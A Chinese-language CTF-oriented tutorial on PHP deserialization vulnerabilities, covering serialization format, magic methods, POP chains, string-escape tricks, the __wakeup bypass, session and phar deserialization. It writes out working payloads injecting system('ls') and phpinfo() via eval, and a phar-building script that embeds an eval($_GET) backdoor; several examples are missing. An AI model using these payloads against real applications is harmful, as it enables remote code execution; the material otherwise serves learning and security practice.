序列化
简介
在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。可以理解为一种编码方式。
序列化的目的是将数据转换为可传输或可存储的形式,使其能够在不同的平台、操作系统或编程语言之间进行交互,而不会损失原始数据的结构和内容。通过序列化,数据可以被编码成字节流,然后在需要时可以进行反序列化恢复为原始的数据结构或对象。
类型
简单数据类型
空字符 NULL --> N;
整型 1145 --> i:1145;
浮点型 114.5 --> d:114.5;
布尔型 true --> b:1; false --> b:0;
字符串 ‘yuanshen’ --> s:8(长度):“yuanshen”;
数组
array(‘ys’,‘mihoyo’) --> a(array):3(参数数量):{i:0(下标/键名);s:2:“ys”;i:1;s:6:“mihoyo”;}
对象
变量为public:
class test{
public $pub='yuanshen';
}
O:4:“test”:1:{s:3:“pub”;s:8:“yuanshen”;}
即O(object):类名长度:"类名“:变量(键)数量:{s:键名的长度:“键名”;s:键值的长度:“键值”;}
变量为private:
class test{
private $pub='yuanshen';
}
O:4:“test”:1:{s:5:“pub”;s:8:“yuanshen”;}
即O(object):类名长度:"类名“:变量(键)数量:{s:键名的长度+2:“键名”;s:键值的长度:“键值”;}
为什么+2:
private私有属性序列化时,在键名前后会加空字符(%00),即%00键名%00
注意:所以有时再反序列化生成POC时会加一个urlencode,即urlencode(serialize($a))
变量为protected:
class test{
protected $pub='yuanshen';
}
O:4:“test”:1:{s:6:"*pub";s:8:“yuanshen”;}
即O(object):类名长度:"类名“:变量(键)数量:{s:键名的长度+3:“*键名”;s:键值的长度:“键值”;}
为什么+3:
protected属性序列化时,在键名前会加空字符(%00) * 空字符(%00),即%00 * %00键名
嵌套对象(对象套对象)
class test{
public $pub='ys';
}
class test2{
public $mihoyo;
}
$b=new test();
$a=new test2();
$a->mihoyo=$b;
echo serialize($a);
# a类中套b类,序列化a类
O:5:“test2”:1:{s:6:“mihoyo”;O:4:“test:1:{s:3:“pub”;s:2:“ys”;}}
即O(object):(主)类名长度:”(主)类名“:(主)变量(键)数量:{s:(主)键名的长度:"(主)键名";O(object):(分)类名长度:"(分)类名“:(分)变量(键)数量:{s:(分)键名的长度:"(分)键名";s:(分)键值的长度:"(分)键值";}}
反序列化扫盲
反序列化后的内容为对象;
反序列化生成的对象的值由序列化的值提供,与原有类预定义的值无关;
反序列化默认不触发类的成员方法 (魔术方法除外);
修改掉序列化的变量值后调用原对象的函数,反序列化时仍能调用到原对象的目标函数,使用的参数是修改后的变量。可以类比子类调用父类函数理解;
反序列化漏洞
漏洞成因
反序列化过程中,unserialize()接收的值可控,通过更改该值,得到所需的代码(即生成的对象的敏感属性值)
简单复现
class test{
public $ys='ys';
public function display(){
eval($this->ys);
}
}
$payload=$_GET["cmd"];
$b=unserialize($payload);
$b->display();
假设我想执行system(“ls”);命令,即让$b中的$ys=‘system(“ls”);’,我们只要构造出该命令的序列化形式传参给cmd即可。将造的payload:O:4:“test”:1{s:2:“ys”;s:13:“system(“ls”);”}传参给cmd即可执行eval(system(“ls”);)
魔术方法
__construct
构造函数:在实例化对象时会自动执行的魔术方法,可类比c++的构造函数理解。
触发时机:实例化对象时,即new一个对象时
注意:在序列化和反序列化时不触发,仅new时触发
__destruct
析构函数:在对象所有的引用被删除或者当对象被显式销毁时执行,可类比c++
触发时机:反序列化后会触发,序列化不触发(因为反序列化得到的是对象)
例子:
<?php
class User{
public function __destruct(){
echo "析构";
}
}
$test=new User();
$ser=serialize($test);
unserialize($ser);
?>
该段代码共执行两次析构函数,一次是销毁$test前,一次是销毁反序列化得到的对象前
__sleep
__sleep:序列化函数serialize函数会检查类中是否有__sleep魔术方法,存在则先被调用,再执行序列化。
功能:序列化之前触发,用于清理不必要的属性,返回需要被序列化存储的成员属性。
触发时机:serialize()执行前
参数(可选):成员属性
注意:如果该方法设定不返回任何内容,则后续NULL被序列化,并产生一个E_NOTICE级别的错误。
例子:

__wakeup
__wakeup:在反序列化之前,unserialize()会检查是否有__wakeup,有则先调用,再反序列化。
作用:反序列化前预先准备对象需要的资源,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。
触发时机:反序列化serialize前
出题手段:常在wakeup写赋值语句将目标参数初始化,从而打断反序列化漏洞的利用。
__toString
触发时机:把对象当成字符串调用就会触发
例子:

错将对象当作字符串使用,触发了__toString方法。
补充:
调用对象:print_r,var_dump
输出字符串:echo,print
__invoke
触发时机:将对象当成函数调用时触发
例子:

$user1()将对象当作函数使用,触发了__invoke方法
与错误调用有关的其他
__call
触发时机:调用不存在的方法(成员函数)时
参数:$name:表示被调用的方法名(字符串类型);$arguments:表示被调用的方法传递的参数(数组类型)
返回值:根据选择,自定义
例子:

调用了test对象中没有的函数mihoyo(),触发了__call方法。
__callStatic
触发时机:静态调用的方法不存在时触发
静态调用:使用类名和双冒号(::)来调用类的静态方法或访问类的静态属性。静态调用
不需要实例化类对象,直接通过类名进行调用。
参数:同__call方法
例子:

__get
触发时机:调用的成员属性不存在时
参数:错误的成员属性名(字符串)
例子:

__set
触发时机:给不存在或无法(无权)访问的成员属性赋值
作用:常用来设置私有属性
参数:$name:指定要设置的属性名称(字符串);$value:指定要为属性设置的值(任意类型)
例子:

__isset/__empty
作用:用于检测不存在或不可访问的属性是否被赋了值
触发时机:对不可访问或不存在的属性使用时即可触发
参数:要检测的属性名
例子:

直接访问私有属性var,触发__isset方法
__unset
触发时机:对不可访问的属性使用unset()时
功能:常用于在删除一个不可访问的属性时进行特殊处理。
参数:不可访问的属性名
例子:

__clone
触发时机:使用clone关键字拷贝完成一个对象后,新对象会自动调用
例子:

总结


pop链扫盲
反推法
反推法:由于类之间的关系常常十分复杂,正推不太现实,所以需要从突破口开始反推解题。
来看例题:
<?php
class index{
private $test;
public function __construct(){
$this->test=new normal();
}
public function __destruct(){
$this->test->action();
}
}
class normal{
public function action(){
echo "no hack";
}
}
class evil {
public $test2;
public function action(){
eval($this->test2);
}
}
unserialize($_GET['x']);
?>
分析一下代码:
定义了三个类:index,normal,evil;
1、index含有construct和destruct方法,construct将自身属性$test实例化成了normal对象,destruct调用action函数;
2、normal类中定义了它的action函数,但是是fake;
3、evil类定义了它的action函数,其中包括了一个可控的eval函数,是本题的突破口
最后对我们传的参数x反序列化
接着从突破口反推
1、要想执行eval函数,必须在evil类下执行action函数
2、整个代码中只有第8行调用了action函数,所以要能执行index类中的析构方法
3、析构函数中的语句是$this->test->action(),所以我们的目标就是让$test变量是一个evil对象
4、而在$test的初值是由构造函数指定的,是一个normal对象,所以我们现在要让它是evil对象
5、__destruct在反序列化后执行,所以我们只要传参一个evil类格式的包含payload的序列化的值,就会按evil对象形式反序列化出evil对象
6、综上我们的序列化payload即内层是evil形式,外层是index形式
想清思路后在题目代码的基础上写脚本构造payload:
<?php
class index{
private $test;
public function __construct(){
$this->test=new evil();
}
#public function __destruct(){
# $this->test->action();
#}
}
#class normal{
# public function action(){
# echo "no hack";
# }
#}
class evil {
public $test2="phpinfo();";
#public function action(){
# eval($this->test2);
#}
}
$a=new index();
echo serialize($a);
?>
得到payload:
O:5:“index”:1:{s:4:“test”;O:4:“evil”:1:{s:5:“test2”;s:10:“phpinfo();”;}}

POP链
POP链:property oriented programming,面向属性编程。pop链即利用可控的对象属性值通过魔术方法,在代码间多次跳转,最后获取敏感数据的payload。
例题:
<?php
//flag is in flag.php
error_reporting(0);
class Modifier {
private $var;
public function append($value){
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show {
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test {
public $p;
public function __get($key){
$function=$this->p;
return $function();
}
}
$pop='';
unserialize($pop);
?>
代码结构:

发现突破口在include函数,使它包含flag.php,接着一步步触发魔术方法,思路:

写代码构造payload:
先写大致框架:
接着按pop链逆向赋值:
拿到payload,即题目中$pop的值
字符串逃逸
属性逃逸(property escape)指的是在对象外部直接访问和修改对象的属性,绕过了对象的封装性和访问控制。
在序列化和反序列化之间,如果序列化字符串增加或者减少,可能造成反序列化时的属性逃逸。
相关特性
分隔符特性
反序列化,在前面字符串没有问题时,以;}结束,后面的字符串不影响正常的反序列化。

属性增加特性

给序列化字符串增加属性,只要记得改掉成员属性数量,即可成功反序列化
减少逃逸
常见触发函数:preg_replace(),str_replace()
例子:
目标:逃逸出一个v3属性,值为123


核心思路:序列化字符串中的成员属性个数是限定死的2个,不能增加,所以我们要利用上例中的“11”去把$v2吃掉(含入$v1的键值字符串中),这样我们的$v3就合法了
被替换字符system()就像是用来撑开v1的,撑开之后就会消失,用撑开的地方去吃v2
构造过程(逆推法):
1、目标参加反序列化的字符串:
O:1:“A”:2:{s:2:“v1”;s:?:“abc”;s:2:“v2”;s:?:"";s:2:"v3";s:3:"123";}
2、标红为传参v2的值。接着考虑v1吃v2,使v3逃逸:
3、标蓝为吃掉v2后v1的值,这也就解释了为什么v2的值是";开头,“是闭合s:?:“处的前引号,;是格式要求的分隔符,这样构造就使得逃逸后的字符串合法了。
4、接着确定两个?的值(从后向前):
(1)v2值的长度是19,所以第二个?写19。当前字符串:
O:1:“A”:2:{s:2:“v1”;s:?:”abc";s:2:"v2";s:19:"”;s:2:“v3”;s:3:“123”;}
(2)所以达成逃逸时,v1的值需要变为标红所示,所以v1的长度应该是20,即第二个?是20
5、接着逆推到用system()撑开v1:目标是撑到20的大小,而v1的大小必须是3+8n,即abc+n个system(),n取大不取小,取n=3,那么v1的大小就是27了,为了不影响后方的逃逸,后面也需要调整
6、当前: O:1:“A”:2:{s:2:“v1”;s:27:“abc";s:2:"v2";s:19:"";s:2:"v3”;s:3:“123”;}
很明显需要调整,而我们可控的只有v2,所以只要给v2填充27-20个字符即可。当然为了不影响语法,要注意位置。
修改为: O:1:“A”:2:{s:2:“v1”;s:27:"abc";s:2:"v2";s:19:"1234567";s:2:“v3”;s:3:“123”;}
7、综上,传的参数:v1为abcsystem()system()system(),v2为1234567”;s:2:“v3”;s:3:“123”;}

成功逃逸。
增多逃逸
类比减少逃逸:
减少:多逃逸一个成员属性。第一个字符串减少,以吃掉有效代码,在第二个字符串构造目标逃逸代码。
增多:构造出一个逃逸成员属性。第一个字符串增多,吐出多余代码,把多余位置构造成目标逃逸代码。
例子:
目标:逃逸出v3=666

思路:
所以最终只用给v1传参ls…ls(11个)";s:2:“v3”;s:3:“666”;}即可成功逃逸:
增多例题

目标是修改不能修改的属性值,另一属性值可控;
且存在字符串的增多(php->hack);
判断为字符串增多逃逸
字符串构造:

所以最终payload:param=php…php(29个)";s:4:“pass”;s:8:“escaping”;}
减少例题

目标是修改不能修改的属性值,另外两个属性值可控;
且存在字符串的减少(flag->hk);
判断为字符串减少逃逸
思路:
目标参数值:
序列化字符串:
经过反序列化后,成功逃逸出vip=true
常见绕过姿势
绕过wakeup方法
CVE-2016-7124:即wakeup绕过漏洞,若序列化字符串中真实属性个数<标定个数时,会跳过_wakeup
版本限制:PHP5<5.6.25 / PHP7<7.0.10
如:O:4"test":2:{s:2:“ys”;}
引用绕过相等
序列化中的引用特性:
另外:
1、由于serialize函数总默认把被引用的属性放到{}中的第一个位置,所以一般都是R:2
2、注意逻辑关系(谁是谁的引用),&不要加错位置
例题:

思路:利用引用,让enter成为secret的引用,所以当反序列化后给secret赋值为*时,enter也就赋值为了*
payload:O:8:“just4fun”:2:{s:6:“secret”;s:5:“enter”;N;R:2}
十六进制绕过关键字
在反序列化时,序列化中的十六进制会被转化成字母
\00 会被替换为 %00
\65 会被替换为 e
所以:可以使用十六进制以绕过关键字过滤
session反序列化漏洞
前置知识:
1、session的存储:当调用session_start()或php.ini中的session.auto_start=1时,php会将访问用户的session序列化后存储在指定目录(默认为/tmp)。
主要存取格式:
声明格式的语句:ini_set(‘session.serialize_handler’,‘处理器’)
漏洞详情:
2、漏洞成因:session的存储格式和读取格式不同,利用"误会"执行恶意代码
3、使用时机:一个页面存储,一个页面读取,且格式类型不同
例子:


审一下代码,着手点在D类中的析构函数下的eval函数,目标即给a赋值为恶意代码。
特性:同一目录下,一个文件session_start()并存储了一个session,那么访问另一个使用session_start()的文件会对第一个文件的session反序列化
思路:提交?a=|O:1:“D”:1:{s:1:“a”;s:10:“phpinfo();”;}这个字符串
经过php_serialize存储后是a:1:{s:3:“ben”;s:39:"|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}"}
再到另一页面以php格式读取:此时按照php格式读取,会从管道符|开始读取,即前面的作废,只反序列化出我们构造的D对象,以成功执行eval函数
phar反序列化漏洞
简介
phar:类似JAR的打包文件,php>5.3默认支持
利用:配合文件上传、文件包含、phar伪协议读取
1、漏洞原理:manifest以序列化存储信息,用phar伪协议解析.phar文件时会触发自动反序列化。
2、条件:php>=5.2;phar.readonly=off
3、部分触发函数:

使用情况
(1)phar文件可上传
(2)有可用的魔术方法作为跳板,以执行漏洞函数
(3)存在文件操作函数(可触发函数)
(4)文件操作参数可控
注意:
.phar文件无关后缀,例如将1.phar改为1.png没有影响
生成phar文件的脚本
根据题目具体题目修改#注释处
<?php
class Testobj #根据题目修改类名
{
public $output=''; #若有属性,则自己修改
}
@unlink('test.phar'); //删除之前的test.phar(有的话)
$phar=new Phar('test.phar'); //创建phar对象
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __halt_compiler(); ?>'); //写入stub
$o=new Testobj(); #根据名字修改
$o->output='eval($_GET["a"]);'; #根据题目设置成员属性
$phar->setMetadata($o); //写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
例题

思路:对md5_file函数使用phar伪协议可以触发phar反序列化漏洞
根据题目,利用脚本构造phar文件:


接着反序列化被触发,析构方法被触发,成功输出flag。












1136

被折叠的 条评论
为什么被折叠?



